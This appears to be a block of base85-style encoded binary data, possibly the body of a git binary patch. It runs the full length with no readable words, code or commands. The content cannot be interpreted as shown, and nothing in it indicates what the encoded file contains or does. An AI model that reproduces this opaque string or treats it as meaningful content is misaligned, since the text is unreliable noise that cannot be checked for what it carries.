z#CjTPhxuoXd^0O}j@4h2ekZX8SX;4XLhbTz6FnAg2G%4U!a9sKm-SxO$*gl&m$7bR z-O2hc>jBoItgb65v|6m$tW#N6v%bRm7V81lZ&?3kHLoJS0oER@S*$}@$Fgo<-NP!b zCiiaEG}g)9v1adJ+kjnqWo1tF?dh;=S5~lRZPJ0P|6;v|bsFmu*5_H@V?DtdQ-^#t zVeQMB$2ybsRn}vyR$X#gm$f(RAl7`=DXb5&zQnqR^$_bftbeik(h7g@Kn?q@yC8e5M-YslK0bqwol*5_H@Wj(r=u-0eo$a(|oAl9+0 zb66L!E@$1wdWiK`*656Ej6mvSP^;KDBNF{rtBe@v$c)<12Qr#Kmu0ktDmTp=%*5|d zm+c$Sl~vJw?_jrvW%Ykn!y%{-^Pq-U(U4+U4XYtWHTnv_r!}JXO|^KcmHVU-T~pt( zsuu4Y|Bh}<$5o4`TDbrpY0jF-I*7FZYKZ$AcXqD96OALoa1F9XHlg3itaVshvi4*h z!aAI_h;;$$64vKfH?fwo9%nV1QkYk;)@SX=+Lv_z>rmD^S!b{=W_^+MZPqVX&p@d) zC_vR=d5o3%e{E>yLdy@SDK)V|Gt+O5!$T2CUJy{vDsnqhQgBmdsi zjDGKe+O5!nCM$8|(`KZ{SWmHv=5)l*n#fv%HG{PkYe&}WS+iM(vW{TAi}gO%X{-;j zE@6F<^-b3OtVdXnL!(7xi{sF=7N?NY^p$hxT8RGGl)Sn)}k*4AsKHjiZAFHXj zsTCa=&8o&8YD8i8cT~bftp-_H!6~dWSm&}XWPOx%DeIH0PqRM9`U2~Vtgo#wYTu%2TzTMt4ms<(a^T936kYg^V%tUXx!u?}P%!g?F) z2-aNIyICi&7PHP~eVBDQ>+`Iyux@94hjlmWVb&j5&#^|fp|qv4)`Qyhr$?K|QL24d zZ)DA39nM<7I)QaM>l|oPvA7MLuV-1;v2J61pY=1=?^yp}^|hrskk;;;Vb}9H?cPJY zkFs`1dymsYefN{?KEUy}M64s-vKeL8)pb!GA zomhLb=CJ;YHIH>7Ylk#)KbL<$%DRGeJ?p!yhgg4Lb#)~75v<9q>8xE@Z(tqBdMi|o zZS2yR)v$(_+FsIoI+9LcEn>Z&bq@3by|bv*=^orFH|wO@5V}%2cbbF{2D19o>GyE{ zeJ|@=)@N7`)g|lGVWeC5$TxgsFaQ3U^)J@2&g3SAwJFpd_0cHW&P7S*58!4O>mJq* zSr4;*!Frn2)rDL}v8J%rV{O6Ofwed55Z2*PH5x&G)U^n$N^w`}j~?q9@EPKju63aw zb)`Nlw2r;s?KWRl@FQqbakLxN*wd_@?({pEHNdLsu&S}DZmXKyl&zUiJCB39k3g7@ zNYWo&q%r*a79aig@bBLIJIO;w8by#!^N#S@>AxMJ8RFaSlv?8&`kew*)~4cS{BA1l zX8kwoL#)rRzRvnF>o2Ua*OL1NteseIW}V2ogq2!RyYG&^uHt=4-|Hv@)nDJvzp2+o z-*nxRXshps8sbrCHL>iv0CKVZy0y@q*S+lP6O7NCif13SGgS{xqr_)3&G4+?tcIlX zpekQV?J{f=-5=KF)%s&Gt{PFORBi1^_hq5?Q0J$uW-m%DrBKyCJN!|-BHazdIJUmX zx}Ehf>z}NZdz0T zDSSK{$5okR1zY!_^Vowmi*+#T9jtdjl}lVredwO+Z9e`vl+F~L&B1+FAmov(MXZlP z?en;<@AI&3XZ?Wn3)VlO_T8VaAC;cE!&P^GSMU*aZ%d_wev^-+hq!Fdzx%L`U@dbW zCU$jx9AgPr7S-hHSyU5dWKo;&0+g)z7{Q*+I*!_P&5d;Y3D$2|>t_Fm>(0_)9sIs<(3}#xHUxZRc2%Z=$%`L+z3e)Et7)cHTsq$-j@_ zw;k^fH{FTjzq7gr(eH591lDS-8BmIsbjlz~&yqnDkZWtYD!8(X_ zGV4m#w^_es4ZoFK*1eVTc;l^<-$FjJg7rPtUs+RbBbQxSN3$+u-FzFR?Mv2(f6?zo ztX1xy-%VM2-SIF&9>u?>^6#bmdjtQD8*xAK*nR}Hs69rKuQ9AMSXZ;|9Z4ztab%>s zcktFxbY0{^?fO4ybZ4CLlF=Jc8`Z2u`k1nM+lhax+MC6{Rc##2zf~Qc%)jTbE@6F^ z^%d3~tb14wv#L7(9sd@0Qe082s#mJUztvUKkbj3>5ncJnO{}@Bsu!EYzg5~6@NY`n z`ST%m8>?E;_w%V_{$^EkS*is-UO=fj$ExPCYTZRgI{hsx2)+_ENYZcZSthHI|vo>OF z&f1B!8*5M2EY?A+!&&oK)2^m4C-Cp7tP7xatq}LD&@)j~CBStG}in-tc%tnFC4v-V{j%{ra+N!CrQ`&hqb{fqVLdnvRwtbJK;Wi4Qx%({T} zIo4NLcd~xO`W>q=t`DxG*l~QNgv^5e^K55R@!U9S71ii#<$&#eL(Ch$57*u5@jLxg zK6D2E7{A@$JLsK2*H;zR+ga~podvaBuAT6^KP$M6^#JRStYP=j@v<2_gGY3|gA{^& z7M4%!6`2)$j`bzh*Ps`=yZk?$yRc(?XJQA;H|}Nqk~J(yN3LY;$a)*=MAnB{H?V%h z`U`7J5&3Gun$4QeI-m6w){j~HjwP4B@^9}X`kl(!gY_=f2cdQfS5LYhHThN61TX#W z$l8bX9@d*!E!N*Ha`O@ETkvIv^Wmf+DBI6j|6)y=JS4Jru*qZ|OR(O-8f0ApRo6>X zF>@-l530vs%D>gP`UU>2`u*+vTaC0;%cDtH%pi-t1F#xu3ah7R{^<88w(AXN}Z;EA9dL1;a zCQ*qutR72Ao_m&R>H(J#;)JHba2X*ouB1?ktvlh;FLE^%RVoEd zV^X<|6e~5&t#l3Eyy$cl`{R<26gf-_#j}<6!giWzidbJM1<&;w&?^(7#5lmzSP|zh zO7zmU0g(scaz0bB__5MhtP(p}i(?SKRr&(dm=-=Gw<2n+h!L4gMOHBC6llDrIZM4>$S~~fgC%%eGGOCDP zOeGfOFIfy%gi<;P>Wdd21-^{+S5yt7s#v1QA6?r>5i6PIChmyo3Yyn|T&n9KMJ!_~ z5}(Ih58E-ODb}wsUL#dBZ%8huSP`*)&=96#t9oo7BTd|+sZnfyP*A(<9P2fziBB|T z!Cy6DHKI_8t>LjljOrp)(_OK*fdWiZ#G2SqMh($j(`%qB#Su;K#TFP>3s++bWs3M1 z6c8hsimel|kkv`W*Qm1B=qOS(-B{TVqIX_} zD6+=G)=5m#v>dihVhxkZUuSVl`Q!X`7Gpben4q7HE@C&6%3n9JrVH6rnROEfm{eWr zCZf99{!;LToJ6J~E2E0n=qBx60}v*6IHH|*I-^y z+16I60y@G}WNn4*TG6r_*@~=vuw5&LGZkCM5#M!UqNYC(-*sY|b{UcEH8RBsO*NAJ zpt{{v3@wwZ%O0YWrW=w2piCxJO4o};%EqO1y;y@c)l@C0FMEo**Al5x>LYTlBU0tk zN4(CY>PsKYy@lFZWfIx8&WgD9^brF!QSIp?hH0W}rLP#TiLMo_t71~=>?c+!8>h3M zNb6z8@UxL6Mlz{%W{V8kI7FY#Y>~~R(vmHPF)b9oq%4!!Vgpl&MWc)Uf<9J^+*&lc z=r88e)(+^k-KiUm0pf_J%Bh<{!+R-PI&1^QI!#?+8z@@$R<9t7)TuHE10Z zrDdJGNt|=2rx+sI-$4GTPu(JK7J)uQ)Nk&Rw}@;e)x!=GV-#@@J4}r2r(F7@_sUzv zP9}AZZWVtssl4AR!g!%M(IL1@V=D1Jfbqm|(OTK8N@-t8tQ^)vW5wZOrEzGKr^IOSkYlS3TJF#UF-ELYWc5iK zi@h~UHRYsD0Da`RtS<7zF^Bv{fe2(%?8VmIXh&iX!2Bx1*v}}{`hLOuo~Z{E32i0HffiQVY^T4)6@aB z`y7|o!-m&{_+N>CFl=Q+cM}sG+Zfo&C|J#F1RdLh)%*@^_bjiLg!Q3EIKG9rSEy!A z5?KStv8r`b#YiTq*LBRP!Wu|6s@E;dX`-(te{=`)ezBaX1fySJJ|GTgqB46xG|nM^ zB^IS+y2#Q*X_+oYYNGtj5X&@C{$_}?ioDgUdySc*@l70xw^nsOXo#ka>b3B`#4=5t zs;7gZ2C4Yy+|CxAHPN}9ErOb;PRtSOG*O+HBTg#vW+A@0A~0CRcMIa1D~4zqQ~h=E zpcuZkVT^AE$k9k+^y!rVva*S#iJr;7}@CBJSY~64R;VN z6#nQ@<`VHWlWN(Qh%-#8bz36Nm7}x~9Ez9P-6bMN6Sccb#3H6*>&mOYG9MG0G_}3@ z1n7jO8?Sy{EES0(DU@QX;OhCtQjw`??$usn8D?;mZTZ!H&@!eX>lN4@7Y8-%f$edT zIEvH4XY&bBpNX!Ao_P0WjIwcVpA@HaIZW89)4MlgZ2H|?A?i4^*;pz1IW$2$BZ7*o z%z)u~RxH<)9q@oQX&M%YbUi2bX}T*A13IFqIM7b45`SrWG*AkPx>MzEO<*kE{7KjJ zMqmP{y{3JEjmGohCQV-iHiO1!`Z2jUw-l zwHmwDiJEtj%M$O|S}j32OvM&msV|H9n&?V>S(Iw>*7h3fg^Rm^Vk@e)AJke?0&K5{ z0!=kxdqphMM7`k#@rI@bwM#(<6>%-VidgPUs7`diyDZ(ARR6w73{k{2WRqBSFQuAV z%xhh*3m117fS1LD6;O&sPEn`4r-d0(E@Z@)6*FpK@sCA%wn-VBSmZ% z@tQU<)z$QFMmM5-wqWT?}!=` zRP1{*vfaBxcZY6rmx@si4RyaO9(3qm?)St7htA-eNqZd{<=!n$I#i1H>e9H=D;9e* z4#~Zug+qDn{i3f!_qab4iyfLEJ`yK19mz-+2Sh<3rL#z!M!9?}9@QipR0pkN`pSrE zkRm=6$C=bw`Ba>BDAj#P?3>8B<+E}`oX|vP<%nvxYm|C&VHqb;f=WZ!*ytJ0yP)`xIG&8lJ)z6;3j#HsmKUavFs~W1C&> zpTu!Z;~IY8{#gvWpKKIL3cds|l4+q>)bObLlsNi8neDVV!892z`?ybw?CE5iEM9Gx zj(0mxXnGU$D_+Z1wp|TV#2ImbNu}kC*gccOwDvb#;yxq3*7QZgY|u%jBI_sEeiPTt zB9}#$t5G&+EK{+S(8z22E@o@0-N+AGq+Paw?GN#@rhc&fA<|~6Q0Q*=Pccpt-R=G< zRx%ay-R@bjMHAiao)tSa(cR}?;xkQj_xYDN&ZO?@{uYhraE?$eJ+aSZ=3JZV%X4BU zlj{3TZ_beLzmOcADW4U=t~=-7I~Hs7J|@!HWrMOO9dzq-SW@cA5yRjc}0 zP===2jcW;yF;>&k#-~8bG_7si4s=4(YmG}mr3+Ljbhl&~Czwjan~m`y1*7vqvXzKZ zgy}U3n2PyM7~@z?bSLaJ<|~&xH{&xlC>xiH&q#TQV*qV7!i{VuRW1?6Std1i5n-e( zvRxjM5k_4_))UPh4y$BLVN!Lel0oi}GWW^muM3C#=bC>3m#rTr+d}J#7T<&VYO2}d zH_%9?Vo|rn-xQ{%wk=Fgl(AS-uNIak+SsINXbZn5#yF^{phb)a@31^VF%*l!7L`3$ z7|EKZwn+0N7_BwUYH_uvvXP_dp%(Q#RgAHkmbTd8u4>HJ^mL0Ro>XIvrWabY_Ea-U zHEn3o$y38Pu4!9~Ydu#Qu16{Mx#FD`y**bOnM_6EV2l19Y|6|3cDTO>r5j_|wh(>s z&7KTnnnVBcG%%JsG}_b1*veEa&a}AO)6~E~7XONc(X!Cf+~}^!*K(?-g)xPx2)0?C z*2XHw0-3;t3x-ra}8@L5i6u&~Hpd*1fQeHEvi&X(_U1 z!Zy|jGO1SaUSl^Ch1pZwYfN~YT&ftx8Kq3>>K|uJeS&N%@8gW6Ot#CFimbCOTU+Cd zEt)*7I)ZjG6Q7QAMOJm##v8quR9Yq&Qpo)|lS)g_ zxce!xsk8)*IZP@oL1RrhT2#*E2Bso}nS%GrcQ7p!R_p0j&^Y4IT&u`%t)LhdiX_;k z7-DnC6O(Z5CV8j01}J+0y;S;+5o2rR9EOIg?7~{YLaNp|)g2R!ZAbcuT#t zriN|LfaYjgJ#Uf*?Ljmt2#tDb2 zx)vLaUr;H_3}kqh7=txs2bzL{n&?jWF=LS?x)XlPSk6>rE$CQFEH$=jTF!J(5#N0- zHC$^bh9W_CpG%G1n&|FxsnH#`s$`?P&t*obrk6Ul@jh-OzDPEe+b4`JOsWn(VT^PL za{|UHMf|+~Nn?j5dfxw}v71Rfxm#`wdx^p0NG2(sZoj4c@1W`AlCKzjy5K zecD*3Y{Jv2x_H`XzmELP6)Bwtd7m*(Fws5b?cP;J^Owm+GcI>}R~yHfDAfnWYGdCk zWGfb#onu_j8wVX)>V3gDrYWcM3h!FughQ*nFBzvDTJK$NoONiEcZ1>Dpu)`Qyxsen z5us@;V%TEDIkeQf)kxM)HhDiW3LM(*J!DMKv=}iQHKsVU)cd(H zL(}7k;g~Vsq1E26jKvPE_kLq6cW9IMJ7bkY+r2*+>ol!G3_ly299rrgxM3jO&(`b<5rK1dX?kjl@A_ywI*8m;E@?j zMb@2NP6{<$1 zu1E}kzc_hdo4`NS7stsV+lgq_JsGxROvP6FZhd_C7~KxC6ksOzDXZJ-B0&z< zbW6ASMuJ?aX$)+MvQ*Pl*b-&Ln<|t?x}BoEJT*Ph?F^`|Ch8xOkP` zTT|)UO)(T(GzZa4R?$Rr5Y1#wCY6Wga=5Z_9-7O7J?sxuU$&4ZnN%Ly$gmH{rpl#_ z?8>CdrH#D491U@(&}bv~hxltN&oV6(`>uP{*H+fuM`03e@wJmV4o$b(%NY*MwK~X6 zOvU2hb#MAQ%VQ4h@^z7Q_fsfjOESC4Oo#URy2;T@Uy0+_rC^7lu}nL}sp}5OYvpcD zXRm7~ddRvTQYdppSmvj`9&)j!r7fmg*UOigD7S}XPr2QpKjaPaLx&E@KJp~fWFF0A z$+(Xw%*lM+X31=(Vyk}UQD2rU($pdIYtS;LxuQ?z5561aNlha%fAM9@atf1bi6+U#$H}HzqDk@$ zlPcXwQhdYyc(gW2CTOD3+9a9Aq~e<_J1ZNXo3b3hi+P4&@8m� z&oWVbhvZbb!=cT_G&$@$j-A82U#?PQwd=LfctD=jbVIMrpw=hICDp7!;nU?2P5$WH z!e_|D?>Q84YcJd-%jQfAK_g-NjY(baGiCc9$fdg8XUQR&=Is^!h*x+&BG+l672c1?W147e z^Qd(FLZPU2;*ZMVOhwj1eZ0nE`G}@x`uIUxm?%fp#S&TS&?DhXW!$fv7V9khJubUz z^7qAaZ8=6$N?)(>gj}JiHf&GGor*-$zRSX&l&3Yd2Q8OrXDCcHws}hSWl|;hlzfg! zmF`n=T{#>1qLv}p@1^jkWa4i`3&o@THiGCk*=Xedv`y~E`{8a^(kIaDwV}^QiwSE- z5Xv($SrhqtMrJS-TQBw_>ZWOXKR>9KrhWZtiD%`%G#%-e4jRL>P@L$uGyFMu{4Y+6 zpx9T**uRM=NAHF|FRyVZMZ6&UI`l#K3vwEhDwnl#ry@@0T6s_trE{%3sr*^pvrdV% z(sPbuum)wF0YzylfbB(jwWc6!FUkz25>DAmvb(Zz%3hXJ9ZC`FC0jM6rrtgN$QRd4E-6M^s%BDdIKR$)Tg+uVM9_@<%ajl0iir z!zMXj6UDGeu2lZ4&$FI#Z<1Ry{g^crM0<!T*i;OkOV&5uL92)B0DjPGY zlHVqC6mjg^RFR@eF9Wa>=FphFqg;9QzKr)1egXF8F~% zXF$ibKgxTFq~EuI zDa-pi^4|`f5%0*w+8@QfOYTs_vG0-xG*Rrk+8<&yKhN4~3Uoc9l~V_{j|_sNqEjdJgkE*IIUita>;o=BL7e}&im&w25-}7%@=J%(LBDB#bl!iEX%?Rcj{OJOSQEwmgY3>!Z2gAVe~^PUg$+mt4OcEX_8;Y3 zW#ia?lFvGnB7T-HJCqLEsr^yxr{qaR9Q!HBTUw&+q1aDJEYs&&*J8k2_bFLlQ}+R* zK+Ty{tvf9-rRLPSU*$~>VaSXL0g$h_&)V7c~055bpMhy@g}^g*H=aSE!#Pif(`96nN(VYIYbksMVJN3rIk2v zoFUBVngRn0LG!gs%B^9pRW^>#FyD5l(2(Xqhp^Vcq__1|oAqnBX`aXJGT0m|SF+o}4qF?wS&E=DNep!J6vji~~a)Fqdlj z5w7LW&wzGnY7Se1`I)9`U`sHMYZ?GsqIphJ9&CxG6|K(n1F%&# zQ#CyS8@}eF=~dX0%yydg!j@!q*YquHRm{PfIhp^ zbE&2**s7WcX$5Sl=5bB04)Gdk<~dCVhWJ5NjLP4y zL%K#(GgCE1-JA&uXsUhlDN)^Qr>V=$XF%OG4S}tOIat$p*lL)=H7$g#ra4j5TG(ou z(=?UBcBQ#g)7P+FX|B{Hhn^BwnOihf9eM_|Q&V%;t~Ni@)Cab!&EuLz!xk{lX}TY_ zfN9Ydwz#I3!&b{o)wBh+T4q4gCqu^>was>#P7f^vb=MSm%Q&NsIapKRmO{{QO&wvY zYfjXZ16y5lnx?y9OE;Hlngd(9xspj;RrSoeS8&Sss;Xx`9&b~MsBf-fQrCNZbE_u0 zs_L8V6I70FzI~ig-@H*%?(K!3A)4-kEyKJ=(*v+&m_bbs-Htae&4)BSeftE^GEJ|* zUqka1O>e+oLvyR9cj2#*`H`ki;IEN+MAO&s*VsIx=@k4mHu13nF8Oot*ThWF!zTL&{$(=V`fFaw(WBk^XU*-lf{k$5xF z?5-(&WINHx9IUC$$WqX7CRMtf%@fMT^{lg*oottNis)kA;?N=NY(LJS>Y}?j&7ma` z*O~_vS;0}5yEmh%s#HHbsuYx=>BUjC#Pw#Drahz5L1Q$Xgg@+Kt|?}8DX4V{g`&pE zz05I8#n!^n*N9%`G)>Qs?g?6~Y4_-DqPMwD)8Wx2pq+}u@1s{l++YS$Rm#@*S4H$O zhbThcQ$!zgxMN!n+cHfX{hL7l4|{JOA61e4{nx#9JLv%FBqTss4T}nj?6N3ILJ}Yn zl0brh8)=e;v~<$3J7HfEK|w_U!EHnhii(Pg%Z%VM21UgYN1V|S2ONVs4vsqFHsXlm z?{iMo?Y^B3JU+kg>-W5#KYse+opVmrt^L-ms#|sYu+|0!2Z%D6k)=Y(51s?9L~B>T zZMs~mwZ(9oE{|z#b8wuvSdQ$iu6roBA6h_bzYjiW&XC)+_FnK&Xh)QWlogAaGOLeW z5{JbsxuqXzYR&2rnS45j$$7X$X0m3xWt~B8jqXRT8Xzu_Gqtw=s&k;NW=)-Nx>Rn{ z8l7;uR327Z(wDgIGAYjF*pvQ?>n@W+w3ZUW`v+N~wVoloe~=AIU(Utu;D@Rv|yu8l6I`knRC0K00GmDYLXjXN)T4K&{bfE1#^?8lATC$tJDQX{)*N zpw{TL)m)iz7KKS8T%VjL7e%yUe3AbsYwG;bmGb!696P`JoG&*FR%xLx76jyW)@c9B z>m35}J=Roh24su&NhhWQGII#W$L|yaa{u*v|a;4VJ2;-EbT&sOv8pbI}`H|Lcfm^*y9ij3^r<51SGqpyilo!Y$tf^DV z3+44%qf^QY;t#=Bib^tN*>kM z-C4f~zmp)wa18E8>X$)luQb$3A90P$jA+Zm8rfg_r0dqoY{zwL<>ZLZKKQ+!s)*K0 z+#q+brc!o;JfJk3SNpib4e}SQ?N0s-TGn}#mRFM=Uhu70CyTZA`vpHhtJT`YeQt5x zD7R^?qE8XD7Onkh!T07(GUI#>h2QwyBnPra?W|bbBpV}Ij&?P-6=T{4@sSNV+C-ExuEC=Ykb zovdB!rqi7FNGo5(SGth2ETwVD-y=sUjo+l*BPX#&^?`p!S)nz0 z8~A_>XpQ!6Jt$XcjrMLmDA%#3zTL20eyTP4cEfg=aS^A}P2X;KNS>`V`gX%Za)j3C z+YJxP$y%dtH#{uMSX19_ctk#?HTrhLBl58J*=Gq(Cd%)$cJ30KOq6AlDZWPcB)B~) zcWSL1ZjZ`?tf~IxF_~J(KE(psrQ>t z%0kvu-}9urhcyZXXA$LgrSXc{lQO$lrHuBNJt-GyjrN#5DYvnvzUK3kd`@e$r|l`Z zSNo(rZBNT@wMKi|o|YLU6ei8lXD0tvo~^aDms|mD1Z$1%mzK;-{++DQ+S^O6fVNuu zY+2%I|BSp-YhNzOfVNHh{14oA$q%&FVQB`m)Tt`IUP}jv-ExT54vqIE@0KO3HM;vR z4J1D+=V@)^(go0Jl~2BlpOZgCv|i$QdD=7%6MNwrlb@G^wRQyB3$jXUc}v$O|6Xp< z+R^;=$uG)JBHFFV%`&T0g;KQiuH-%Pd97Ws^nv7;~CpXz?tD@R;R zn%W8bik!)ss_9qc-WlZ9DE!FLE3#=OX|!MJ8E6A%DYu17i;UOgWY(zOKQQ;n%arCm zbJ+{{&6@_Tjl%Ng8?s4V=gwtqFKeowe?y*s35BUbc|#T|4L!=2$$ykptSO&=l&?5^ z{!zZ8eLgW_iSf2PuC@D?k=El<3R7M8w%njJ?)l!9`?N+q-`i4L#y*p%=lhc!tu^ZT z{v>NzyVjkye2MXAxm|1hmal;Jj@CxO?H$?Sa?XRh1a9xh(X73iL_4S7m9<*)FFyy` zeyuH9o@D$*T34vp*DOzlHbiOMo4zNjv_`$@d$Nf&)tera-|6daUH*bNC{t&v*dJN` zEwpi3+qE30<77E&uO__$pYO}nT6=T(X5)RiS!?gY?XPl|);@sSU*$fn{T*(H5wB}mzg7`p|X)SrhX5#}{skKgU`4lUeIn=n!AqO4ruM#73aXMLxn2&+gFSe zpUGvcHHvL3+Ic>chkaZw`~>=^JXlQ{-Hn|*pUbf|N=r`b>G?t~V-4RgSkV{S7Om0V z&@bduTBE(8U&!aRmbUyB*O&4=t@T@81Wg20T4t{NR{Tr$(AxZ!KR}zPH146llG7qu zvhkJlMYLYxn5>P_mPWMxcu%-Cq7{p;WooU8kH!Vx$U3djy2dv$>ne5=H?BO_^NnoK z+N~?cdA^mqw6=BnB+qwpV2FKkAM$TGR%z}hM&KN#EN4yK#XrjDwHuur`ceK_Yjkqx zM|qevb#mxGa%7moR40f2BP&@`&%dAK)2vaOC>B4-5p{O#y~GK*nl;rAo{$&Rlbd?R zosctFqwC0LxzhNY=?S?|Yjn=^glu3Z(_iFHt(k zW+B+%&03?IW+A4vSGjSyNbB$-yIiJwEURiUX{uZjt=pH7rphJJ`jItNE{T@0)V{8d zNVHNTn$MGDEmNBNnNSB4U4$C-9_kUOQ zg!YBjJgaLxDORuL%B}C}dT4p9HM&Qy9w1V!D(yCH^%5i1x^a_tME zll8jRx?a24=wuz#T3@(zw!YTdAh>n5M58LfF>vc*b=BG=xOK7mYi$PHGOZk~`Qesn zm1u1#+`3wRt*wDuS8I{hHo>i%wNY#L!>yauq_t<@*4^5zwPv_=xAtl6b-4Agj%e*L z+0d*bUac5X{t2q>C1@1GgcUV(*+*#I3*N~fPFK1bYSyOl1 zS=P8|_I3DbqBTir;)a{oC!b|K>u@{U+N<53h1=QIW*!}?PzG9ClqQbAZJ>2r_2r!R zb1b3zYje|-9_LsWD~;U-S>@WTH{1qULeMV*(QlmJzlP);adf&q30G58c-r=sM z?B#IYVjgD3ha7Jilt$qX2MuwAugXg$S%vd=w*2Fip^>X8zGFX>BU@HiIrFH(S3Ikb ze3Gja{z>#p?k6~e_!Rz6EGn*F6N2)2ZziScX0WY#IaxUB+K)TawFf{cz6LFEMbFmZ zD4!I*$$ro(*S7ZKjAiy|0tInA$O1BW4YGfy2_yz4>^L4_0V>a?ho5KW=V&3XR@hLF7pq+d$2 zWr^QcBMaSwrday_Q3>1k_|>NjU$r#q2b?K%%59}q^&x8!vJ@)(5u7`xMcEaV|C=}^ zPC44n?R!MEw@vKx9_Ci&eGWRy|J1UoooE}2?H`ou!wA`I<5}=1$Edj^Uka*y+d`%EKkqk8?wurlcaVDZ z*5S8hk59?}&6ab{qf#2oRAo!$7Mm|hzbbQQ-PvWUTBfrFw%z8{^T>WGy^orb;zO=4 zRa2@}JMAAwYSWI(8OyJizl_9U_eiR@Q87{<7~5}u8yBzYhgF|!UPu0&xmK-$Xy3)o zkO$&PZO5y|X3nQ}Du+fiMJCIASRTOgc$Uc`g|aBu$?O`Hr6_6BVu|T&|Nmq8zq7>R z$Lh{@b+Q(&{HUkAYTFs}sZA=zhp9$ZmvBosS(wVMLOYosYRULjByP{+3#d)H+q76> zBwP*Q;}~lk@wPqVFva`5$-i^l^6SgtWY5->9PjnaTbb04(J#nG??*K@_%(jwuTtTw zFr)Xo{hU&BqIkP1Ta(kH{3wg_S%0$fKbig6BFa%hG1bUlAzR`Y=n{KDyQgxNErrw8 zb4}%uMhmh1{Jor7#gnBW-mYr!WVNIGD?cY2)jY)UI$MJ3Ih93~n9A2K_%wyHO{%hO zI}P~VU+$}4;P9_4rBaGdf3)rl@e+ss7W;Sle2*=PAF-d$+43)z)sw~P|JyiM3<`ybxNG!D4+W-CZB%=4H56^3?bgN^NeWt@viev>H5+sUB~2~D&(S>r*hqXO4pxG z=~_7JR3Yy;rR%X%x(>eNR3V4imHJy#P`yZzj2et>MXJ82MojUZBQ#~7eku7^va^N! zdiiA6p3MI1L;gSM^M5zBPXAr`t|5!v>ypI~%6_mI@!#TSCHU3*a8DsBa6~g+36#j2OyF8sS{+bZtQ=%*?{n52Y%wd++j*Hq5Ysq09U&*kh>)d;Q082FVn;v9}qJ zaWob~)Nt$#pcETHOZ*0GtCgNCE|t5Jx&9h^{0vuJ6(6!QN740gLnxn$s@0`!qFkhH zIt#yVb~gS^!S9akz`xf8y+M8(TqfRU9$|jQ{F?bA(=fWCgBUs6)E@)pLJC!e&hJM+fsUPyw}11b`Fz%6YYci$2hd#rKI87 zfhmhQt{$TQjlWOn2mc4y^$@Q8ar}{#fnwH;-=~Zaz8jOUm9P3niYs)Z2l8v{GEzr~ zCq{Hl9Vi-Zd_nXU^!;(aaovrlr#!*=+6`Wr`a0)ps<9-#Pu?2y^nf6RGdB|M!jVH!0UA(`K>HS$r*(^N(qiqrM#rjMHx#(2+`m%4*kG)5Lu@9qCA=bgbi5;?bKP@Fbb!>KFTO zdO@T??w{@#^c8x)cyq{w=~T=4=@df$^sd^cT>k=ELdyEGbn?GUTqn+2AHr4iP4NNd zdF!9?_(jRk0b(dzdx3JwyDplImk;i3NUn*Sy5@V|oG7u+T;9oI&i7;Wyu3KPuxYQ*5{(BZ=JIt3iv~=2P9vc5?rzgxO zMl2G$*%iOWgc!>>%k-PWZ{F8FNm5-T$v+KQ0YCI*e5$q2 zGRZR2MZ|XoK{}24ryV%p6KUCI7|IZMn&Xj9GG#yruLLfF+cO{#w2 zl@Sg2?M!N!tGT9DbGa?!)Gp)t!fte=a~YTXGA_e)ux#qKOyn)S13ZdST_#??`C-W4 z-24}i+5^?gBKi#&T)UaCrTh1(?ghqwZr@$PYvxU>MMNmJp z4X&HIU1fIPbVZM=%uVZ7fah+ywTBzOJ-H6Q3Yv*;hPlzt;j6tO3%}^%M%!!x`-}U* zf#P9shU#Cm=9B~&E*ogHXFbV<~6WvHdjHu-MkjuVqOO};oBIQ{X}Kci>@j zH`ro64}N042p%3a{0gqwlYohqhd;>gg{t-N3z6}cb4rs~uK)3uW*g<{(rpgvD zLw<}B$dpv4{UzmYpuF5l6hmN76eDCg2EjrZ0!w5)SSA;N zGv!k7GPwdQmyKYhTn$#qHDEwq57x>X!8&;t>T!|W0C^d+L2iP)THXq-m3M&a?+HtZzZL^>46)^&^;Sod7eeU%*VubR}Y6kqgYS+#vSuxZI-Lq83|aQ40)Mhhb^9 zs6FqssD3Rix+O-ed<$42r-bFoFv+IwL_qyH&_qpBy_q*N$54ipczT^4;Jm{ic z?y!q`xfU1oa-X=Umpkfef$JBpu;~*06DZdMnL`q&97ZHi35-slypK(wTxTa#xKT0* zK5$aPJg_jq50)g%2g?$w!I=p`@Un!f!19DJSeZ}{RwXP10||@4+JvQGUBYs3QNl`a zSwbV&kgy6|op24fHen68F5xbtsd~ZmO5tIc-}wZB3lEZJf64oVFdDww;`|r`=Qw zyWCU@&%3D>n%z_jd)-tE``lCu``uIv2i#P)-*NcIIsAc16xWa>Dvc3IR1Tw)s2s*7 zQ8{EMQ90x#Q8`RXqH-uqqPR+uYTG4=eMvjop%!p0?vy0DbB`st+oS(XYTq8^jQJtT zxgC|;wsv#}ZEr`Vx1$}E-p+PZdQZ2b(%aRJdXMMZ(S6k1?ly35JGz_pwOi5NCHA*# z01vdg8hoc6-CqaWt%iKK-L+s#yS3ma?XCxpwp#~&(e5V1{#`rD%kg%U<`eBUz#`gH z`B?35f$U~xwC8#UagVg8r)0nO)VK6+Prb^(_K(2li1w6=(e0^x#cu2kOoGb)bH%e}@+nlEjb>bk&Fs$&d9=$!B}0c_?=qIOUr;<+pRnw;<(i(d40)w#`Gew%tRmdWVNv^-d49=chf?o_Bf9PDY#e z(9^KlGX(Np&$-|}&w1c}4~+v4c*a3~$CC#h^b~-HJ=7Pqc&LZ@#6vyIQ4jSnUwEj8 zIp(1r<~tAdFvmUA!<_I?41{+Tn9NXh0;GMIWU#_&mpPQe~w6{{&Q?9r8zs5(wvvd<&a8g zE=;8sSdvODuq>5Y;LKF2$IDWw9?Mgy9xGERF98mrmP4rH5EgL=%h=MuT+N}aWqDod z<6;ngt$RYxLE=)84Gw4KGAo$#MK$bUu>edLpZ6Ffx{IH|zU+E7xJo>NInFBl2ID%h z$CZxR!4amBKyq(p4%5qQWNu|PCrERAYEvTlY-S!|8g8;=F?%z!nK?`^vyr)#d7qnO zXSs!Wgej6J9D}))d0)~~*33?OSU$oO?br`9i`lmwg_hfnd^WSCg(=!|s+j1l5OO)Q znc2c@=s@-+W;3&eDU$hGW;U~&*}!a477zJpVD?TSIfq%!Y+yDqo0(aueaX)erqPe&-pr-}RvKT{%US`WMlErXhIkSP8HG(YJ z%yMP}GjC*jq-PtmWh7raidZ?C?0cE3&m(#3d1U{Dm`%)PW(!jklmGH!ilu?s#B63}mvHP%FSC)kmD$YP!)#$@Pi6ni zt;~jLWNBhHGh3MDWgH_jYdXo<%yMP}vxO-xCfBT)R6FIf_$p=-vzeK735USUxr}5l 